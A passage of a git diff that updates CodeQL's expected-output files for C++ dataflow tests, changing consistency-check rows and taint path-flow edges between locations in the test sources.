pre-update node but has 0. | +| D.cpp:43:24:43:40 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:50:15:50:41 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:50:24:50:40 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:57:16:57:42 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:57:25:57:41 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:22:11:22:17 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:25:7:25:7 | Bar output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:48:9:48:10 | Outer output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:49:9:49:10 | Outer output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:50:9:50:10 | Outer output argument | PostUpdateNode should have one pre-update node but has 0. | +| complex.cpp:51:9:51:10 | Outer output argument | PostUpdateNode should have one pre-update node but has 0. | +| constructors.cpp:34:11:34:26 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| constructors.cpp:35:11:35:26 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| constructors.cpp:36:11:36:37 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| constructors.cpp:37:11:37:15 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| realistic.cpp:54:16:54:47 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | +| realistic.cpp:60:16:60:18 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | +| simple.cpp:34:11:34:15 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| simple.cpp:35:11:35:15 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| simple.cpp:36:11:36:15 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| simple.cpp:37:11:37:15 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | uniquePostUpdate postIsInSameCallable reverseRead argHasPostUpdate postWithInFlow -| A.cpp:25:7:25:17 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:27:22:27:32 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:98:12:98:18 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:100:5:100:13 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:142:7:142:20 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:143:7:143:31 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:183:7:183:20 | Chi | PostUpdateNode should not be the target of local flow. | -| A.cpp:184:7:184:23 | Chi | PostUpdateNode should not be the target of local flow. | -| B.cpp:6:15:6:24 | Chi | PostUpdateNode should not be the target of local flow. | -| B.cpp:15:15:15:27 | Chi | PostUpdateNode should not be the target of local flow. | -| B.cpp:35:7:35:22 | Chi | PostUpdateNode should not be the target of local flow. | -| B.cpp:36:7:36:22 | Chi | PostUpdateNode should not be the target of local flow. | -| B.cpp:46:7:46:21 | Chi | PostUpdateNode should not be the target of local flow. | -| C.cpp:22:12:22:21 | Chi | PostUpdateNode should not be the target of local flow. | -| C.cpp:22:12:22:21 | Chi | PostUpdateNode should not be the target of local flow. | -| C.cpp:24:5:24:25 | Chi | PostUpdateNode should not be the target of local flow. | -| C.cpp:24:16:24:25 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:9:21:9:28 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:11:29:11:36 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:16:21:16:27 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:18:29:18:35 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:28:15:28:24 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:35:15:35:24 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:42:15:42:24 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:49:15:49:24 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:56:15:56:24 | Chi | PostUpdateNode should not be the target of local flow. | -| D.cpp:57:5:57:42 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:9:3:9:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:13:3:13:21 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:17:3:17:21 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:21:12:21:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:21:15:21:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:22:12:22:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:22:15:22:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:23:12:23:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:23:15:23:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:35:12:35:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:35:15:35:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:37:3:37:24 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:40:12:40:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:40:15:40:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:42:3:42:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:47:12:47:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:47:15:47:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:49:3:49:25 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:52:12:52:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:52:15:52:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:54:3:54:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:59:12:59:12 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:59:15:59:15 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:60:3:60:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:70:19:70:19 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:70:22:70:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:72:3:72:21 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:77:19:77:19 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:77:22:77:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:79:3:79:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:84:19:84:19 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:84:22:84:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:86:3:86:21 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:91:19:91:19 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:91:22:91:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:92:3:92:23 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:98:3:98:21 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:106:3:106:20 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:111:15:111:19 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:147:15:147:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:175:15:175:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:181:15:181:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:187:15:187:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:194:15:194:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:200:15:200:24 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:205:15:205:24 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:211:3:211:24 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:218:3:218:24 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:225:15:225:22 | Chi | PostUpdateNode should not be the target of local flow. | -| aliasing.cpp:232:15:232:22 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:5:18:5:23 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:5:21:5:21 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:6:3:6:23 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:14:18:14:23 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:14:21:14:21 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:15:3:15:25 | Chi | PostUpdateNode should not be the target of local flow. | -| arrays.cpp:36:3:36:37 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:12:5:12:16 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:16:5:16:19 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:84:3:84:25 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:88:3:88:24 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:92:3:92:20 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:96:3:96:19 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:102:21:102:39 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:104:15:104:22 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:106:21:106:41 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:108:15:108:24 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:122:21:122:38 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:124:15:124:21 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:126:21:126:40 | Chi | PostUpdateNode should not be the target of local flow. | -| by_reference.cpp:128:15:128:23 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:11:22:11:27 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:12:22:12:27 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:14:26:14:26 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:14:33:14:33 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:22:11:22:17 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:25:7:25:7 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:42:16:42:16 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:43:16:43:16 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:53:12:53:12 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:54:12:54:12 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:55:12:55:12 | Chi | PostUpdateNode should not be the target of local flow. | -| complex.cpp:56:12:56:12 | Chi | PostUpdateNode should not be the target of local flow. | -| constructors.cpp:20:24:20:29 | Chi | PostUpdateNode should not be the target of local flow. | -| constructors.cpp:21:24:21:29 | Chi | PostUpdateNode should not be the target of local flow. | -| constructors.cpp:23:28:23:28 | Chi | PostUpdateNode should not be the target of local flow. | -| constructors.cpp:23:35:23:35 | Chi | PostUpdateNode should not be the target of local flow. | -| qualifiers.cpp:9:30:9:44 | Chi | PostUpdateNode should not be the target of local flow. | -| qualifiers.cpp:12:49:12:64 | Chi | PostUpdateNode should not be the target of local flow. | -| qualifiers.cpp:13:51:13:65 | Chi | PostUpdateNode should not be the target of local flow. | -| realistic.cpp:39:12:39:95 | Chi | PostUpdateNode should not be the target of local flow. | -| realistic.cpp:49:9:49:64 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:20:24:20:29 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:21:24:21:29 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:23:28:23:28 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:23:35:23:35 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:65:5:65:22 | Store | PostUpdateNode should not be the target of local flow. | -| simple.cpp:83:9:83:28 | Chi | PostUpdateNode should not be the target of local flow. | -| simple.cpp:92:5:92:22 | Store | PostUpdateNode should not be the target of local flow. | -| simple.cpp:104:5:104:24 | Store | PostUpdateNode should not be the target of local flow. | -| struct_init.c:20:20:20:29 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:20:34:20:34 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:27:7:27:16 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:27:21:27:21 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:28:5:28:7 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:36:10:36:24 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:40:20:40:29 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:40:34:40:34 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:42:7:42:16 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:42:21:42:21 | Chi | PostUpdateNode should not be the target of local flow. | -| struct_init.c:43:5:43:7 | Chi | PostUpdateNode should not be the target of local flow. | +| realistic.cpp:54:16:54:47 | memcpy output argument | PostUpdateNode should not be the target of local flow. | +| realistic.cpp:60:16:60:18 | memcpy output argument | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index c8b70a74b3a..e787b9a5f0e 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -4,50 +4,62 @@ edges | A.cpp:55:12:55:19 | new | A.cpp:55:5:55:5 | set output argument [c] | | A.cpp:57:11:57:24 | B output argument [c] | A.cpp:57:28:57:30 | call to get | | A.cpp:57:17:57:23 | new | A.cpp:57:11:57:24 | B output argument [c] | -| A.cpp:98:12:98:18 | new | A.cpp:100:5:100:13 | Chi [a] | -| A.cpp:100:5:100:13 | Chi [a] | A.cpp:103:14:103:14 | *c [a] | -| A.cpp:103:14:103:14 | *c [a] | A.cpp:107:16:107:16 | a | +| A.cpp:98:12:98:18 | new | A.cpp:100:9:100:9 | a [post update] [a] | +| A.cpp:100:9:100:9 | a [post update] [a] | A.cpp:103:14:103:14 | *c [a] | +| A.cpp:103:14:103:14 | *c [a] | A.cpp:107:16:107:16 | a [a] | +| A.cpp:107:16:107:16 | a [a] | A.cpp:107:16:107:16 | a | | A.cpp:126:5:126:5 | Chi [c] | A.cpp:131:8:131:8 | f7 output argument [c] | | A.cpp:126:5:126:5 | set output argument [c] | A.cpp:126:5:126:5 | Chi [c] | +| A.cpp:126:5:126:5 | set output argument [c] | A.cpp:131:8:131:8 | f7 output argument [c] | | A.cpp:126:12:126:18 | new | A.cpp:126:5:126:5 | set output argument [c] | -| A.cpp:131:8:131:8 | Chi [c] | A.cpp:132:13:132:13 | c | -| A.cpp:131:8:131:8 | f7 output argument [c] | A.cpp:131:8:131:8 | Chi [c] | +| A.cpp:131:8:131:8 | f7 output argument [c] | A.cpp:132:13:132:13 | c [c] | +| A.cpp:132:13:132:13 | c [c] | A.cpp:132:13:132:13 | c | | A.cpp:142:7:142:20 | Chi [c] | A.cpp:151:18:151:18 | D output argument [c] | -| A.cpp:142:14:142:20 | new | A.cpp:142:7:142:20 | Chi [c] | +| A.cpp:142:10:142:10 | c [post update] [c] | A.cpp:142:7:142:20 | Chi [c] | +| A.cpp:142:10:142:10 | c [post update] [c] | A.cpp:151:18:151:18 | D output argument [c] | +| A.cpp:142:14:142:20 | new | A.cpp:142:10:142:10 | c [post update] [c] | | A.cpp:143:7:143:31 | Chi [b] | A.cpp:151:12:151:24 | D output argument [b] | -| A.cpp:143:25:143:31 | new | A.cpp:143:7:143:31 | Chi [b] | +| A.cpp:143:13:143:13 | b [post update] [b] | A.cpp:143:7:143:31 | Chi [b] | +| A.cpp:143:25:143:31 | new | A.cpp:143:13:143:13 | b [post update] [b] | | A.cpp:150:12:150:18 | new | A.cpp:151:12:151:24 | D output argument [b] | -| A.cpp:151:12:151:24 | Chi [b] | A.cpp:152:13:152:13 | b | -| A.cpp:151:12:151:24 | D output argument [b] | A.cpp:151:12:151:24 | Chi [b] | -| A.cpp:151:18:151:18 | Chi [c] | A.cpp:154:13:154:13 | c | -| A.cpp:151:18:151:18 | D output argument [c] | A.cpp:151:18:151:18 | Chi [c] | +| A.cpp:151:12:151:24 | D output argument [b] | A.cpp:152:13:152:13 | b [b] | +| A.cpp:151:18:151:18 | D output argument [c] | A.cpp:154:13:154:13 | c [c] | +| A.cpp:152:13:152:13 | b [b] | A.cpp:152:13:152:13 | b | +| A.cpp:154:13:154:13 | c [c] | A.cpp:154:13:154:13 | c | | C.cpp:18:12:18:18 | C output argument [s1] | C.cpp:27:8:27:11 | *#this [s1] | | C.cpp:18:12:18:18 | C output argument [s3] | C.cpp:27:8:27:11 | *#this [s3] | -| C.cpp:22:12:22:21 | Chi [s1] | C.cpp:24:5:24:25 | Chi [s1] | -| C.cpp:22:12:22:21 | new | C.cpp:22:12:22:21 | Chi [s1] | +| C.cpp:22:9:22:22 | s1 [post update] [s1] | C.cpp:24:5:24:25 | Chi [s1] | +| C.cpp:22:12:22:21 | new | C.cpp:22:9:22:22 | s1 [post update] [s1] | | C.cpp:24:5:24:25 | Chi [s1] | C.cpp:18:12:18:18 | C output argument [s1] | | C.cpp:24:5:24:25 | Chi [s3] | C.cpp:18:12:18:18 | C output argument [s3] | -| C.cpp:24:16:24:25 | new | C.cpp:24:5:24:25 | Chi [s3] | -| C.cpp:27:8:27:11 | *#this [s1] | C.cpp:29:10:29:11 | s1 | -| C.cpp:27:8:27:11 | *#this [s3] | C.cpp:31:10:31:11 | s3 | +| C.cpp:24:11:24:12 | s3 [post update] [s3] | C.cpp:24:5:24:25 | Chi [s3] | +| C.cpp:24:16:24:25 | new | C.cpp:24:11:24:12 | s3 [post update] [s3] | +| C.cpp:27:8:27:11 | *#this [s1] | C.cpp:29:10:29:11 | s1 [s1] | +| C.cpp:27:8:27:11 | *#this [s3] | C.cpp:31:10:31:11 | s3 [s3] | +| C.cpp:29:10:29:11 | s1 [s1] | C.cpp:29:10:29:11 | s1 | +| C.cpp:31:10:31:11 | s3 [s3] | C.cpp:31:10:31:11 | s3 | | aliasing.cpp:9:3:9:22 | Chi [m1] | aliasing.cpp:25:17:25:19 | pointerSetter output argument [m1] | -| aliasing.cpp:9:11:9:20 | call to user_input | aliasing.cpp:9:3:9:22 | Chi [m1] | +| aliasing.cpp:9:6:9:7 | m1 [post update] [m1] | aliasing.cpp:9:3:9:22 | Chi [m1] | +| aliasing.cpp:9:6:9:7 | m1 [post update] [m1] | aliasing.cpp:25:17:25:19 | pointerSetter output argument [m1] | +| aliasing.cpp:9:11:9:20 | call to user_input | aliasing.cpp:9:6:9:7 | m1 [post update] [m1] | | aliasing.cpp:13:3:13:21 | Chi [m1] | aliasing.cpp:26:19:26:20 | referenceSetter output argument [m1] | -| aliasing.cpp:13:10:13:19 | call to user_input | aliasing.cpp:13:3:13:21 | Chi [m1] | -| aliasing.cpp:25:17:25:19 | Chi [m1] | aliasing.cpp:29:11:29:12 | m1 | -| aliasing.cpp:25:17:25:19 | pointerSetter output argument [m1] | aliasing.cpp:25:17:25:19 | Chi [m1] | -| aliasing.cpp:26:19:26:20 | Chi [m1] | aliasing.cpp:30:11:30:12 | m1 | -| aliasing.cpp:26:19:26:20 | referenceSetter output argument [m1] | aliasing.cpp:26:19:26:20 | Chi [m1] | +| aliasing.cpp:13:5:13:6 | m1 [post update] [m1] | aliasing.cpp:13:3:13:21 | Chi [m1] | +| aliasing.cpp:13:5:13:6 | m1 [post update] [m1] | aliasing.cpp:26:19:26:20 | referenceSetter output argument [m1] | +| aliasing.cpp:13:10:13:19 | call to user_input | aliasing.cpp:13:5:13:6 | m1 [post update] [m1] | +| aliasing.cpp:25:17:25:19 | pointerSetter output argument [m1] | aliasing.cpp:29:11:29:12 | m1 [m1] | +| aliasing.cpp:26:19:26:20 | referenceSetter output argument [m1] | aliasing.cpp:30:11:30:12 | m1 [m1] | +| aliasing.cpp:29:11:29:12 | m1 [m1] | aliasing.cpp:29:11:29:12 | m1 | +| aliasing.cpp:30:11:30:12 | m1 [m1] | aliasing.cpp:30:11:30:12 | m1 | | aliasing.cpp:37:13:37:22 | call to user_input | aliasing.cpp:38:11:38:12 | m1 | | aliasing.cpp:42:11:42:20 | call to user_input | aliasing.cpp:43:13:43:14 | m1 | -| aliasing.cpp:60:3:60:22 | Chi [m1] | aliasing.cpp:61:13:61:14 | Store [m1] | -| aliasing.cpp:60:11:60:20 | call to user_input | aliasing.cpp:60:3:60:22 | Chi [m1] | -| aliasing.cpp:61:13:61:14 | Store [m1] | aliasing.cpp:62:14:62:15 | m1 | +| aliasing.cpp:60:6:60:7 | m1 [post update] [m1] | aliasing.cpp:62:14:62:15 | m1 [m1] | +| aliasing.cpp:60:11:60:20 | call to user_input | aliasing.cpp:60:6:60:7 | m1 [post update] [m1] | +| aliasing.cpp:62:14:62:15 | m1 [m1] | aliasing.cpp:62:14:62:15 | m1 | | aliasing.cpp:79:11:79:20 | call to user_input | aliasing.cpp:80:12:80:13 | m1 | | aliasing.cpp:86:10:86:19 | call to user_input | aliasing.cpp:87:12:87:13 | m1 | | aliasing.cpp:92:12:92:21 | call to user_input | aliasing.cpp:93:12:93:13 | m1 | -| aliasing.cpp:98:3:98:21 | Chi [m1] | aliasing.cpp:100:14:100:14 | Store [m1] | -| aliasing.cpp:98:10:98:19 | call to user_input | aliasing.cpp:98:3:98:21 | Chi [m1] | +| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | aliasing.cpp:100:14:100:14 | Store [m1] | +| aliasing.cpp:98:10:98:19 | call to user_input | aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | | aliasing.cpp:100:14:100:14 | Store [m1] | aliasing.cpp:102:8:102:10 | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:126:15:126:20 | taint_a_ptr output argument [array content] | @@ -58,7 +70,19 @@ edges | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:175:15:175:22 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:187:15:187:22 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:200:15:200:24 | taint_a_ptr output argument [array content] | -| aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:106:3:106:20 | Chi [array content] | +| aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:225:15:225:22 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:106:3:106:20 | Chi [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:126:15:126:20 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:131:15:131:16 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:136:15:136:17 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:158:15:158:20 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:164:15:164:20 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:175:15:175:22 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:187:15:187:22 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:200:15:200:24 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | aliasing.cpp:225:15:225:22 | taint_a_ptr output argument [array content] | +| aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | | aliasing.cpp:121:15:121:16 | Chi [array content] | aliasing.cpp:122:8:122:12 | access to array | | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | aliasing.cpp:121:15:121:16 | Chi [array content] | | aliasing.cpp:126:15:126:20 | Chi [array content] | aliasing.cpp:127:8:127:16 | * ... | @@ -71,16 +95,37 @@ edges | aliasing.cpp:158:15:158:20 | taint_a_ptr output argument [array content] | aliasing.cpp:158:15:158:20 | Chi [array content] | | aliasing.cpp:164:15:164:20 | Chi [array content] | aliasing.cpp:165:8:165:16 | access to array | | aliasing.cpp:164:15:164:20 | taint_a_ptr output argument [array content] | aliasing.cpp:164:15:164:20 | Chi [array content] | -| aliasing.cpp:175:15:175:22 | Chi | aliasing.cpp:175:15:175:22 | Chi [m1] | -| aliasing.cpp:175:15:175:22 | Chi [m1] | aliasing.cpp:176:13:176:14 | m1 | -| aliasing.cpp:175:15:175:22 | taint_a_ptr output argument [array content] | aliasing.cpp:175:15:175:22 | Chi | -| aliasing.cpp:187:15:187:22 | Chi | aliasing.cpp:187:15:187:22 | Chi [m1] | -| aliasing.cpp:187:15:187:22 | Chi [m1] | aliasing.cpp:188:13:188:14 | Store [m1] | -| aliasing.cpp:187:15:187:22 | taint_a_ptr output argument [array content] | aliasing.cpp:187:15:187:22 | Chi | -| aliasing.cpp:188:13:188:14 | Store [m1] | aliasing.cpp:189:15:189:16 | m1 | -| aliasing.cpp:200:15:200:24 | Chi | aliasing.cpp:200:15:200:24 | Chi [m1] | -| aliasing.cpp:200:15:200:24 | Chi [m1] | aliasing.cpp:201:15:201:16 | m1 | -| aliasing.cpp:200:15:200:24 | taint_a_ptr output argument [array content] | aliasing.cpp:200:15:200:24 | Chi | +| aliasing.cpp:175:15:175:22 | taint_a_ptr output argument | aliasing.cpp:175:21:175:22 | m1 [post update] [m1] | +| aliasing.cpp:175:15:175:22 | taint_a_ptr output argument [array content] | aliasing.cpp:175:15:175:22 | taint_a_ptr output argument | +| aliasing.cpp:175:19:175:19 | s [post update] [s, m1] | aliasing.cpp:176:11:176:11 | s [s, m1] | +| aliasing.cpp:175:21:175:22 | m1 [post update] [m1] | aliasing.cpp:175:19:175:19 | s [post update] [s, m1] | +| aliasing.cpp:176:11:176:11 | s [s, m1] | aliasing.cpp:176:13:176:14 | m1 [m1] | +| aliasing.cpp:176:13:176:14 | m1 [m1] | aliasing.cpp:176:13:176:14 | m1 | +| aliasing.cpp:187:15:187:22 | taint_a_ptr output argument | aliasing.cpp:187:21:187:22 | m1 [post update] [m1] | +| aliasing.cpp:187:15:187:22 | taint_a_ptr output argument [array content] | aliasing.cpp:187:15:187:22 | taint_a_ptr output argument | +| aliasing.cpp:187:19:187:19 | s [post update] [s, m1] | aliasing.cpp:189:13:189:13 | s [s, m1] | +| aliasing.cpp:187:21:187:22 | m1 [post update] [m1] | aliasing.cpp:187:19:187:19 | s [post update] [s, m1] | +| aliasing.cpp:189:13:189:13 | s [s, m1] | aliasing.cpp:189:15:189:16 | m1 [m1] | +| aliasing.cpp:189:15:189:16 | m1 [m1] | aliasing.cpp:189:15:189:16 | m1 | +| aliasing.cpp:200:15:200:24 | taint_a_ptr output argument | aliasing.cpp:200:23:200:24 | m1 [post update] [m1] | +| aliasing.cpp:200:15:200:24 | taint_a_ptr output argument [array content] | aliasing.cpp:200:15:200:24 | taint_a_ptr output argument | +| aliasing.cpp:200:21:200:21 | s [post update] [s, m1] | aliasing.cpp:201:13:201:13 | s [s, m1] | +| aliasing.cpp:200:23:200:24 | m1 [post update] [m1] | aliasing.cpp:200:21:200:21 | s [post update] [s, m1] | +| aliasing.cpp:201:13:201:13 | s [s, m1] | aliasing.cpp:201:15:201:16 | m1 [m1] | +| aliasing.cpp:201:15:201:16 | m1 [m1] | aliasing.cpp:201:15:201:16 | m1 | +| aliasing.cpp:211:6:211:6 | s [post update] [s, m1] | aliasing.cpp:212:12:212:12 | s [s, m1] | +| aliasing.cpp:211:8:211:9 | m1 [post update] [m1] | aliasing.cpp:211:6:211:6 | s [post update] [s, m1] | +| aliasing.cpp:211:13:211:22 | call to user_input | aliasing.cpp:211:8:211:9 | m1 [post update] [m1] | +| aliasing.cpp:212:12:212:12 | s [m1] | aliasing.cpp:213:10:213:11 | m1 [m1] | +| aliasing.cpp:212:12:212:12 | s [s, m1] | aliasing.cpp:212:12:212:12 | s [m1] | +| aliasing.cpp:213:10:213:11 | m1 [m1] | aliasing.cpp:213:10:213:11 | m1 | +| aliasing.cpp:225:15:225:22 | taint_a_ptr output argument | aliasing.cpp:225:21:225:22 | m1 [post update] [m1] | +| aliasing.cpp:225:15:225:22 | taint_a_ptr output argument [array content] | aliasing.cpp:225:15:225:22 | taint_a_ptr output argument | +| aliasing.cpp:225:19:225:19 | s [post update] [s, m1] | aliasing.cpp:226:12:226:12 | s [s, m1] | 